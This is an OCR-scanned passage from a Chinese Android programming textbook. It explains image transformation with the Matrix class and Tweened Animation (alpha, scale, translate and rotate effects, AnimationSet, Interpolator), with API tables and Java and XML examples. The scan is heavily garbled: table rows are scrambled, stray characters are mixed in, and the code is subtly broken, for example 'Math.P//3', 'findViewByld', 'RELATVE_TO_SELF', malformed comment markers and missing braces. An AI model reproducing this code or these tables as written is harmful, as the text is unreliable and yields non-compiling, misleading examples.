float py) 定 角 度 ， 负 数 为 向 左旋 转 ， 正 数 为 向 右 旋 转 

3 |public void setScale(float sx, float sy) 缩放 图 片 

号 public void setScale(float sx, float sy, float 在 指定 的 坐标 点 进行 图 片 的 缩放 
px, float py) 

3 public void setSinCos(float sinValue, float 设置 在 指定 坐标 点 进行 旋转 的 sn 和 cos 值 
cosValue, float px, float py) 

public void setSinCos(float sinValue, float 以 原点 为 坐标 点 设置 旋转 的 sin 和 cos 值 
cosValue) 

Ee setSkew(float kx, float ky, float 以 指定 的 坐标 点 为 参考 点 使 图 片 倾斜 
px, float p 

8 设置 图 片 的 倾斜 

9 设置 图 片 的 平移 

10 设置 一 个 3X3 的 矩阵 用 于 控制 图 片 

1 使 用 指定 的 矩阵 用 于 角度 旋转 

虹 使 用 指定 的 矩阵 在 指定 的 坐标 点 进行 角度 
px, float p 旋转 

13 使 用 指定 的 矩阵 缩放 图 片 

i public boolean preScale(float sx, float sy, 使 用 指定 的 矩阵 在 指定 坐标 点 进行 图 片 的 
float px, float p 缩放 

15 使 用 指定 的 矩阵 进行 图 像 的 平移 

证 public boolean postScale(float sx, float sy, 普通 “| 设置 缩放 
float px, float py) 

1 设置 缩放 

18 设置 平移 


在 Matrix 类 中 最 复杂 的 方法 是 setValues() 方 法 ， 此 方法 要 设置 一 个 3X3 的 矩阵 ， 其 中 和 矩阵 


中 的 每 一 个 数字 的 含义 如 图 10-6 所 示 。 由 于 此 矩阵 要 涉及 一 些 数学 上 的 矩阵 计算 ， 为 了 简化 读 
者 的 思考 ， 下 面 给 出 一 个 该 矩阵 的 计算 模板 ， 如 图 10-7 所 示 。 
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X 轴 缩放 比率 (scale_x) ”x 得 旋转 角度 (skew_x) xy 和 轴 偏 移 量 (translate_x) 
Y 轴 旋转 角度 (skew_y) ” ”YY 轴 缩放 比率 (scale_y) Y 轴 偏 移 量 (translate_y) 


视觉 角度 (perspective0) ”视觉 角度 (perspective0) 缩放 比率 (scale) 


图 10-6 ”Matrix 矩阵 中 各 数字 的 含义 


cosO 一 SnDO translateX 
siIn0 cos 品 translate¥Y 
0 0 scale 


图 10-7 简化 的 Matrix 矩阵 模板 
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下 面 通过 一 个 操作 来 解释 图 10-7 所 示 的 和 矩阵。 例如， 如 果 一 张 图 片 希望 可 以 在 指定 的 坐标 点 
(假设 坐标 为 (100,200〉 ) 进行 旋转 60” 的 操作 ， 且 整体 收缩 112， 则 使 用 的 矩阵 如 图 10-8 所 示 。 


Cos % -sin 殉 100 cos60 -sin60 100 0.5 -0.87 100 
sin 到 Cos 殉 200 sin60 cos60 200 0.87 0.5 200 
0 0 2 0 0 2 0 0 2 


图 10-8 旋转 60” 时 的 和 矩阵 


- 


关于 三 角 浮 数 的 数学 计算 。 
在 三 角 通 数 曲 线 中 ,NA 表示 180”, 所 以 m3 表示 60”, 而 在 Java 程序 中 的 java.lang.Math 
类 中 提供 了 一 个 常量 PI 表示 Xx, 而 在 Math 类 中 也 同样 提供 了 sin 和 cos 的 计算 方法 , 这 样 可 
以 为 开发 带 来 更 多 的 方便 。 
下 面 的 程序 将 完成 此 操作 。 
【 例 10-7】 使 用 Matrix 进行 图 形 的 改变 
package org.Ixh.demo; 
import android.content.Context; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.Canvas; 
import android.graphics.Matrix; 
import android.util.AttributeSet'; 
import android.view.View; 
public class MyView extends View { /| 继承 View 
private Bitmap bitmap = null ; 
private Matrix matrix = new Matrix(); 
public MyView(Context context, AttributeSet attrs) { 
super(context, attrs); 
this.bitmap = BitmapFactory.decodeResource(super.getResources(), 


R.drawable.android_mldn); /取得 Bitmap 
float cosValue = (float) Math.cos(-Math.P//3); /60” 
float sinValue = (float) Math.sin(-Math.P//3); /60” 
this.matrix.setValues(new float[] { 
cosValue, /1X 轴 的 缩放 ，1 表示 原始 大 小 
-sinValue, // 旋 转 的 X 轴 
100, /1X 轴 平 移 
sinValue, // 旋 转 的 Y 轴 
cosValue, /Y 轴 的 缩放 ，1 表示 原始 大 小 
200, lly 轴 平 移 
0, 0, // 视 角 转 换 
2 六 /缩放 比例 , 1 不 变 , 2 表示 1/2 
} 
@Override 
protected void onDraw(Canvas canvas) { // 绘 图 
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canvas.drawBitmap(this.bitmap, this.matrix, null); // 画 图 
} 
1 
在 本 程序 中 ， 使 用 Matrix 类 中 的 setValue() 方 法 设置 了 一 个 3X3 的 矩阵 ， 和 矩阵 的 设计 原则 


与 图 10-8 所 示 原 则 一 致 。 


【 例 10-8】 在 布局 管理 器 中 定义 组 件 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_ parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.Ixh.demo.MyView /定义 组 件 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 显示 高 度 


</LinearLayout> 


本 程序 的 运行 效果 如 图 10-9 所 示 。 


缩小 1/2(50.100) 


图 10-9 通过 矩阵 设置 图 片 的 显示 风格 


以 上 程序 可 以 很 好 地 完成 图 像 的 基本 变化 ， 但 是 这 种 变化 需要 使 用 数学 公式 进行 一 些 推导 ， 
本 身 比 较 麻烦 ， 所 以 Matrix 为 了 简化 开发 难度 ， 对 于 所 有 的 图 像 变 化 提供 了 一 些 操作 方法 ， 下 
面 使 用 Matrix 类 的 方法 对 图 片 进行 同样 的 操作 。 
【 例 10-9】 修改 MyView 程序 ， 通 过 Matrix 类 提供 的 方法 进行 图 片 的 操作 
package org.Ixh.demo; 
import android.content.Context'; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.Canvas; 
import android.graphics.Matrix; 
import android.util.Attribute Set; 
import android.view.View; 
public class MyView extends View { /| 继承 View 
private Bitmap bitmap = null ; 
private Matrix matrix = new Matrix(); 
public MyView(Context context, AttributeSet attrs) { 
super(context, attrs); 
this.bitmap = BitmapFactory.decodeResource(super.getResources(), 
R.drawable.android_mldn); // 取 得 Bitmap 
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this.matrix.preScale(0.5f, 0.5f, 50, 100); /缩小 一 倍 
this.matrix.preRotate(-60, 50, 100) ; /在 指定 坐标 旋转 60” 
this.matrix.preTranslate(50, 100) ; // 图 像 平移 

| 

@Override 

protected void onDraw(Canvas canvas) { // 绘 图 
canvas.drawBitmap(this.bitmap, this.matrix, null); // 画 图 

} 


} 
本 程序 实现 了 与 图 10-9 一 样 的 操作 效果 ， 所 有 的 操作 中 ， 不 再 需要 使 用 复杂 的 矩阵 ， 而 直 
接 利用 Matrix 类 中 提供 的 方法 实现 。 


10.4 ” Animation 动画 处 理 


在 Android 系统 中 ,如 果 要 对 控件 进行 一 些 动画 的 处 理 操 作 ， 则 可 以 使 用 Animation 组 件 来 实 
现 ，Animation 可 以 为 控件 设置 旋转 、 移 动 、 淡 入 淡出 等 效果 。Animation 共 分 为 两 类 进行 操作 。 


10.4.1 


View.animation.Animation 类 中 定义 ，Animation 类 中 的 常用 方法 及 


Tweened Animation 〈 渐 变动 画 ) : 该 类 Animation 可 以 完成 控件 的 旋转 、 移 动 、 伸 缩 、 


淡 入 淡出 等 特效 。 


加 ”Frame Animation〈 帧 动画 ) : 可 以 将 预先 定义 好 的 对 象 按照 电影 的 形式 进行 播放 。 


下 面 将 通过 实际 的 代码 及 操作 说 明 这 两 种 动画 效果 的 操作 。 


Tweened Animation 


Tweened Animation 表示 一 些 基本 的 动画 元 素 操作 ， 所 有 的 Animation 操作 的 方法 都 在 android. 


常量 如 表 10-8 所 示 。 


表 10-8 Animation 类 定义 的 常用 方法 及 常量 


No 方法 或 常量 名 称 描 述 
1 |public static final int ABSOLUTE 绝对 坐标 定位 


public static final int RELATIVE_ 


汪 以 父 组 件 参考 定位 
TO_PARENT 

3 public static final int RELATIVE 以 自身 参考 定位 
TO_SELF 

4 |public static final int INFINITE 动画 持续 重复 

5_ |public static final int RESTART 重新 开始 动画 

6 |public static final int REVERSE 反 转 动画 效果 

7 |public Animation0) 创建 一 个 Animation 对 象 

public Animation(Context context, 创建 一 个 Animation 对 象 , 并 
AttributeSet attrs) 指定 动画 设置 的 属性 集合 

public void setDetachWallpaper te 如 果 为 true, 则 表示 动画 后 面 


boolean detachWallpaper 


的 背景 不 受 动画 的 控制 


485 


名 师 讲坛 一 一 Android 开发 实战 经 典 


No. 


10 


方法 或 常量 名 称 
public void setDuration(long 
durationMillis 
public void setFillAfter(boolean 
fillAfter 


fillBefore 


fillEnabled 

public void setRepeatCount(int 

TepeatCount 

public void setRepeat Mode(int 

TepeatMode 

public void setStartOffset(long 

startOffset. 

public void setInterpolator 
Interpolator i 

public void cancel0 

public long getDurationO 
public boolean hasEnded 
public boolean hasStarted0) 
ublic void resetO 

public void start' 


(Animation.AnimationListener 


listener) 


public void setFillBefore(boolean 


public void setFillEnabled(boolean 


public void setAnimationListener 


续 表 


配置 属性 类 型 描述 


android:duration 


android:fillAfter 


android:fillBefore 


android:fillEnabled 


android:repeatCount 


android:repeatMode 


android:startOffset 


android:interpolator 


设置 动画 的 持续 时 间 ， 单 位 


普通 
为 毫秒 

普通 设置 为 tue, 表示 该 动画 转化 
在 动画 结束 后 应 用 

普通 设置 为 tue, 表示 该 动画 转化 
在 动画 开始 前 应 用 

普通 如 果 为 tue， 则 setFillAfter0 


和 setFillBefore0 方 法 才 会 有 效 
普通 | 设置 动画 重复 的 次 数 


普通 | 设置 动画 重复 的 模式 
普通 | 设置 动画 于 多 少 毫秒 之 后 启动 


普通 ”| 定义 动画 变化 的 速率 


普通 ”| 取消 所 有 动画 效果 
普通 ”| 返回 动画 持续 的 时 间 
普通 “| 判断 动画 是 耕 结 束 
普通 “| 判断 动画 是 否 开始 
通 ”| 让 动画 返回 到 初始 化 状态 
地 通 。 | 开始 动画 


普通 “| 配置 动画 监听 器 


Tweened Animation 动画 操作 有 4 个 主要 的 类 型 ， 介 绍 如 下 。 
alpha (android.view.animation.AlphaAnimation) : 定义 渐变 透明 度 动画 效果 ， 如 图 片 的 


淡 入 淡出 。 


加 scale (android.view.animation.ScaleAnimation) : 定义 动画 的 伸缩 效果 。 

translate (android.view.animation.TranslateAnimation): 定义 动画 转换 位 置 移动 的 效果 。 
回 rotate (android.view.animation.RotateAnimation) : 定义 图 片 旋转 效果 的 移动 动画 。 

在 以 上 4 个 动画 类 型 中 , 分 别 定 义 了 4 个 Animation 的 子 类 :AlphaAnimation ScaleAnimation、 
TranslateAnimation 和 RotateAnimation， 以 完成 不 同 的 动画 操作 ， 这 4 个 子 类 的 常用 方法 分 别 如 
表 10-9~ 表 10-12 所 示 。 


表 10-9 AlphaAnimation 类 的 常用 方法 


No 描述 
public AlphaAnimation(Context context, 传 入 指定 的 属性 创建 AlphaAnimation 
AttributeSet attrs) 类 对 象 
public AlphaAnimation(float fromAlpha, 传递 alpha 的 开始 和 结束 值 创建 
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float toAlpha 


AlphaAnimation 类 对 象 
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表 10-10 ”ScaleAnimation 类 的 常用 方法 


No. 方法 名 称 描述 
public ScaleAnimation(Context context, 传 入 指定 的 属性 创建 ScaleAnimation 
AttributeSet attrs) 类 对 象 
public ScaleAnimation(float fromX, float toX, 传 入 开始 点 和 结束 点 坐标 创建 
float ffomY, float toY) ScaleAnimation 类 对 象 
public ScaleAnimation(float fromX, float toX, 传 入 开始 点 、 结 束 点 、 动 画 的 边缘 、 
3 |float fromY, float toY, int pivotXType, float 动画 的 处 理 形式 创建 ScaleAnimation 
pivotXValue, int pivotYType, float pivotY Value) 类 对 象 
表 10-11 TranslateAnimation 类 的 常用 方法 
No. 方法 名 称 描述 
public TranslateAnimation(Context context, 传 入 指定 的 属性 创建 TranslateAnimation 
AttributeSet attrs 类 对 象 
5 public TranslateAnimation(float fromXDelta, float 传 入 移动 的 坐标 创建 TranslateAnimation 
toXDelta, float fromY Delta, float toYDelta 类 对 象 
ublic TranslateAnimation(int fromXType, float w 
We 传 入 移动 的 坐标 的 开始 点 和 结束 点 坐标 以 
romX Value, int to , float toXValue, in ee 机 a 
3 2 及 动画 的 处 理 形式 创建 TranslateAnimation 
fromYType, float fromY Value, int toY Type, 类 对 象 
float toY Value, 
表 10-12 RotateAnimation 类 的 常用 方法 
No. 方法 名 称 描述 
public RotateAnimation(Context context, 传 入 指定 的 属性 创建 RotateAnimation 
AttributeSet attrs) 类 对 象 
ublic RotateAnimation(float fromDegrees, float eg 
| 六 传 入 旋转 的 角度 范围 ， 如 0” -360" 
toDeerees 
ublic RotateAnimation(float fromDegrees, float 
De Bf on Si 传 入 旋转 的 角度 范围 、 参考 的 X 轴 和 Y 
3 |toDegrees, int pivotXType, float pivotXValue, 


轴 ， 以 及 相对 参考 的 和 并 轴 长 度 


int pivotYType, float pivotYValue) 


了 解 了 Animation 类 及 其 子 类 的 概念 之 后 ， 下 面 来 看 一 下 android.view.animation.AnimationSet 


类 。AnimationSet 类 可 以 理解 为 一 个 动画 效果 的 集合 ， 在 里 面 可 以 同时 保存 多 个 动画 效果 ,其 继 


承 结 


构 如 下 : 
java.lang.Object 


b android.view.animation.Animation 


b android.view.animation.AnimationSet 
可 以 发 现 ，AnimationSet 本 身 也 是 Animation 的 子 类 ， 所 以 许多 方法 可 以 直接 从 Animation 


类 继承 下 来 使 用 ，AnimationSet 类 的 常用 方法 如 表 10-13 所 示 。 
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表 10-13 AnimationSet 类 的 常用 方法 


. 方法 名 称 描述 


如 果 设 置 为 tue， 则 表示 使 用 AnimationSet 


public AnimationSet(boolean shareInterpolator) 所 提供 的 Interpolator (速率 ) ; 如 果 为 false， 


则 使 用 各 个 动画 效果 自己 的 Interpolator 


ublic void addAnimation(Animation a， 普 ii 增加 一 个 Animation 组 件 


ublic List<Animation> getAnimations() 普 取得 所 有 的 Animation 组 件 


public long getDuration0) 普 取得 动画 的 持续 时 间 


public long getStartTime() 普通 | 取得 动画 的 开始 时 间 


public void reset(O) 普 重 置 动画 


public void setDuration(long durationMillis) 普 设置 动画 的 持续 时 间 


public void setStartTime(long startTimeMillis 普 ii 设置 动画 的 开始 时 间 
下 面 通 过 几 个 实际 的 操作 来 观察 如 何 使 用 Animation 进行 动画 的 设置 。 
1. 渐变 操作 (alpha) 动画 显示 


【 例 10-10】 定义 布局 管理 器 一 一 main xml 
<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 定 义 图 片 组 件 

android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 

android:src="@drawable/mldn" /> // 图 片 源 文件 
</LinearLayout> 


【 例 10-11】 定义 Activity 程序 操作 动画 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.view.animation.AlphaAnimation; 
import android.view.animation.AnimationSet; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super.findViewByld(R.id.mldn); 1// 取 得 组 件 
this.mldn.setOnClickListener(new OnClickListenerImpl()); /设置 监听 
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private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 


AnimationSet set = new AnimationSet(true); 


// 定 义 一 个 动画 集 


AlphaAnimation alpha = new AlphaAnimation(1, 0); /完全 显示 到 完全 透明 
alpha.setDuration(3000) ; //3 秒 完成 动画 
set.addAnimation(alpha) ; // 增 加 动画 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 


} 
} 


在 本 程序 中 为 了 方便 ， 直 接 在 图 片 组 件 上 设 

置 了 单 击 事件 , 当 单 击 之 后 , 图 片 将 使 用 alpha( 渐 

变 ) 效果 进行 动画 显示 ， 动 画 的 持续 时 间 为 3 秒 

(Calpha.setDuration(3000)) ， 程 序 的 运行 效果 如 
图 10-10 所 示 。 


2. 伸缩 操作 〈scale) 动画 显示 
【 例 10-12】 定义 布局 管理 器 main.xml 


<?xml version= "1.0" encoding="utf-8"?> 
<LinearLayout 


CEETTTTTE 


Animation 动 画 操作 


图 10-10 渐变 效果 


/线性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<ImageView 
android:id="@+id/mldn" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent” 
android:src="@drawable/mldn" /> 
</LinearLayout> 
【 例 10-13】 定义 Activity 程序 进行 动画 处 理 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.animation.Animation; 
import android.view.animation.AnimationSet; 
import android.view.animation.ScaleAnimation; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 定 义 图 片 组 件 

// 组 件 ID， 程 序 中 使 用 

1/ 组件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 屏幕 高 度 
/图片 资源 ID 


public void onCreate(Bundle savedInstanceState) { 


super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this.mldn = (ImageView) super.findViewByld(R.id.mldn); // 取 得 组 件 
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this.mldn.setOnClickListener(new OnClickListenerlImpl());// 设 置 监 


} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
AnimationSet set = new AnimationSet(true); // 定 义 一 个 动画 集 
ScaleAnimation scale = new ScaleAnimation( 
1, 0.0f, /1X 轴 从 满 屏 缩小 到 无 
1, 0.0f， /Y 轴 从 满 屏 缩小 到 无 
Animation.RELATIVE_TO_SELF, 0.5f， /以 自身 0.5 宽度 为 轴 缩放 
Animation.RELATIVE_TO_SELF, 0.5f); /以 自身 0.5 高 度 为 轴 缩 放 
scale.setDuration(3000) ; //3 秒 完成 动画 
set.addAnimation(scale) ; // 增 加 动画 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 
yD 
} 


} 
本 程序 采用 缩放 操作 类 (ScaleAnimation〉 完 成 动画 效果 ， 在 进行 缩放 时 ， 缩 放 是 以 图 片 自 
身 的 一 半 为 轴 进 行 的 ， 如 图 10-11 所 示 ， 程 序 的 最 终 效 果 如 图 10-12 所 示 。 


Wm 5554:Android_2.3 


Animation 动 画 操作 


www.MLDNJAVA.cn 缩放 的 中 心 点 


图 10-11 以 图 片 中 心 为 轴 进 行 缩放 图 10-12 缩放 的 部 分 显示 效果 
3. 平移 操作 (translate) 动画 显示 


【 例 10-14】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 图 片 组 件 

android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 

android:src="@drawable/mldn" /> /文件 资源 ID 
</LinearLayout> 


【 例 10-15】 定义 Activity 程序 进行 平移 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
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import android.view.View; 
import android.view.View.OnClickListener 
import android.view.animation.Animation; 
import android.view.animation.AnimationSet; 
import android.view.animation. TranslateAnimation; 
import android.widget.ImageView: 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super .findViewByld(R.id.m/dn); // 取 得 组 件 
this.mldn.setOnClickListener(new OnClickListenerlmpl()); /设置 监听 


private class OnClickListenerImpl| implements OnClickListener { 
@Override 
public void onClick(View view) { 
AnimationSet set = new AnimationSet(true); // 定 义 一 个 动画 集 
TranslateAnimation tran = new TranslateAnimation( 
Animation.RELATIVE_TO_SELF, 0.0f, //X 轴 开 始 位 置 
Animation.RELATIVE_TO_SELF, 0.5f, //X 轴 结 束 位 置 
Animation.RELATVE_TO_SELF, 0.0f， LY 轴 开 始 位 置 
Animation.RELATVE_TO_SELF 1.5f); /Y 轴 结 束 位 置 
tran.setDuration(3000) ; //3 秒 完成 动画 
set.addAnimation(tran) ; // 增 加 动画 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 
} 
} 


} 
本 程序 在 进行 动画 操作 时 使 用 TranslateAnimation 类 进行 平移 ， 移 动 的 方式 是 以 图 片 自身 为 
轴 进 行 移动 ， 如 图 10-13 所 示 ， 而 程序 的 运行 效果 如 图 10-14 所 示 。 


www.MLDNJAVA.cn 


如 网 下 下 国 弛 载 次 < 


本 名 


www.MLDNJAVA.cn 魔 乐 科技 


www MLDNJAVA.cn 


图 10-13 图 片 平移 图 10-14 ”图片 平移 效果 
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4. 旋转 操作 (rotate) 动画 显示 


【 例 10-16】 定义 布局 管理 器 一 一 main.xm 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView /定义 图 片 组 件 

android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 

android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 

android:src="@drawable/mldn" /> /图 片 源 文件 ID 
</LinearLayout> 


【 例 10-17】 定义 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.view.animation.Animation; 
import android.view.animation.AnimationSet; 
import android.view.animation.RotateAnimation; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super.findViewByld(R.id.m/dn); // 取 得 组 件 
this.mldn.setOnClickListener(new OncClickListenerlmpl()); /设置 监听 


1 
private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
AnimationSet set = new AnimationSet(true); // 定 义 一 个 动画 集 
RotateAnimation rotate = new RotateAnimation( 
0,360, /旋转 角度 
Animation.RELATIVE_TO_PARENT, 0.5f,//X 轴 位 置 为 半 个 屏幕 宽度 
Animation.RELATIVE_TO_PARENT, 0.0f) ; /WY 轴 从 原点 计算 
rotate.setDuration(3000) ; 113 秒 完成 动画 
set.addAnimation(rotate) ; // 增 加 动画 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 
} 
} 


} 
本 程序 使 用 旋转 效果 , 图片 以 父 控件 为 参考 进行 360” 的 旋转 操作 ,而 父 控件 的 旋转 中 心 为 
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义 轴 的 一 半 (Animation.RELATIVE TO PARENT, 0.5f) 、Y 轴 的 原点 (Animation.RELATIVE_ 
TO_PARENT, 0.0f) ， 旋 转 的 操作 分 析 如 图 10-15 所 示 ， 本 程序 的 运行 效果 如 图 10-16 所 示 。 


图 10-15 ”旋转 操作 分 析 图 10-16 旋转 操作 
5. 多 个 动画 效果 全 加 显示 
以 上 4 个 程序 都 只 是 设置 了 一 个 单一 的 动画 效果 , 细心 的 读者 可 以 发 现 ， AnimationSet 本 身 
表示 的 是 一 个 动画 集 ， 那 么 就 意味 着 可 以 同时 设置 多 个 动画 效果 ， 下 面 的 程序 将 定义 平移 及 缩 
放 动 画 效果 。 
【 例 10-18】 定义 布局 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView /图 片 组 件 

android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 

android:src="@drawable/mldn" /> // 图 片 的 资源 ID 
</LinearLayout> 


【 例 10-19】 定义 Activity 程序 ， 进 行动 画 效果 车 加 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.animation.Animation; 
import android.view.animation.AnimationSet; 
import android.view.animation.ScaleAnimation; 
import android.view.animation. TranslateAnimation; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super.findViewByld(R.id.mldn); // 取 得 组 件 


493 


名 师 讲 坛 一 一 Android 开发 实战 经 典 


this.mldn.setOnClickListener(new OnClickListenerlImpl()); /设置 监听 


} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
AnimationSet set = new AnimationSet(true); // 定 义 一 个 动画 集 
TranslateAnimation tran = new TranslateAnimation( 
Animation.RELATIVE_TO_SELF, 0.0f, /1X 轴 开 始 位 置 
Animation.RELATIVE_TO_SELF, 0.5f, /1X 轴 结 束 位 置 
Animation.RELATIVE_TO_SELF, 0.0f, WY 轴 开 始 位 置 
Animation.RELATVE_TO_SELF, 1.5f); //Y 轴 结 束 位 置 
ScaleAnimation scale = new ScaleAnimation( 
1, 0.0f， /1X 轴 从 满 屏 缩小 到 无 
1, 0.0f， /Y 轴 从 满 屏 缩 小 到 无 
Animation.RELATIVE_TO_SELF, 0.5f， /自身 0.5 宽度 为 轴 缩 放 
Animation.RELATIVE_TO_SELF 0.5f); /自身 0.5 高 度 为 轴 缩放 
scale.setRepeatCount(3) ; // 动 画 重复 3 次 
set.addAnimation(tran) ; // 增 加 动画 
set.addAnimation(scale) ; // 增 加 动画 
set.setDuration(3000) ; // 动 画 持续 时 间 为 3 秒 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 
} 
} 


} 

本 程序 在 AnimationSet 中 增加 了 两 个 动画 效果 : 平移 动画 (TranslateAnimation) 和 缩放 动 
画 〈ScaleAnimation) ， 而 这 些 动画 的 持续 时 间 直 接 通过 AnimationSet 指定 为 3 秒 ， 程 序 的 运行 
效果 如 图 10-17 所 示 。 
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Animation 动 画 操作 


图 10-17 动画 倒 加 效果 
10.4.2 ”定义 动画 速率 : Interpolator 


在 之 前 的 程序 代码 中 可 以 发 现 ， 每 当 实 例 化 AnimationSet 类 对 象 时 都 会 定义 如 下 一 个 构造 
方法 : 

AnimationSet set = new AnimationSet(true); // 定 义 一 个 动画 集 

在 该 构造 方法 中 要 传递 一 个 boolean 型 的 数据 ， 而 且 其 值 设 置 为 tue。 实 际 上 该 boolean 型 
的 数据 就 是 定义 的 interpolator， 即 动画 的 执行 速率 ， 将 其 设置 为 true 表示 所 有 的 速率 将 交 给 
AnimationSet 对 象 统一 设置 ， 而 各 个 不 同 的 动画 中 的 速率 效果 不 起 作用 ; 反之 ， 则 为 false。 在 
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Android 中 , 使 用 android.view.animation.Interpolator 接口 定义 动画 速率 , 在 Interpolator 接口 中 定 
义 了 动画 的 变化 速度 ， 可 以 实现 匀速 、 正 加 速 、 负 加 速 、 无 规则 变 加 速 等 ， 这 些 分 别 由 不 同 的 
子 类 所 实现 ，Interpolator 接口 的 常用 子 类 如 表 10-14 所 示 。 


表 10-14 Interpolator 接口 的 常用 子 类 


加 速 一 减速 ， 动 画 在 开始 与 结束 的 地 方 执行 速度 慢 ， 而 中 间 部 
分 时 加 速 
加 速 ， 动 画 在 开始 时 执行 速度 慢 ， 然 后 开始 加 速 

减速 ， 动 画 在 开始 时 执行 速度 快 ， 然 后 开始 减速 
动画 循环 播放 特定 的 次 数 ， 速 率 改 变 沿 着 正弦 曲线 变化 
动画 以 匀速 的 方式 运行 
下 面 通过 一 个 具体 的 代码 观察 如 何 设置 动画 的 执行 速率 。 
【 例 10-20】 定义 布局 管理 器 main.xml 

<?xml version="1.0" encoding="utf-8"?> 


AccelerateDecelerateInterpolator 


| AccelerateInterpolator 


| DecelerateInterpolator 
| CycleInterpolator 


LinearInterpolator 


ww | 上 |w | 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
